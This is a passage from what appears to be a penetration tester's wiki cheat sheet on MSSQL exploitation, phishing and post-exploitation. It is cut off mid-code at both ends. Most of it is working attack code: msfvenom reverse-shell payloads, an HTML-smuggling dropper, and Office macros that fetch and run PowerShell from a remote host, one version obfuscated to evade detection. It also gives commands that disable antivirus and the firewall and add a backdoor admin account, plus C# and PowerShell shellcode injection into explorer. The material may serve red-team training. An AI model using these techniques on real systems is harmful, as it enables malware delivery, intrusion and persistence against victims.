$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
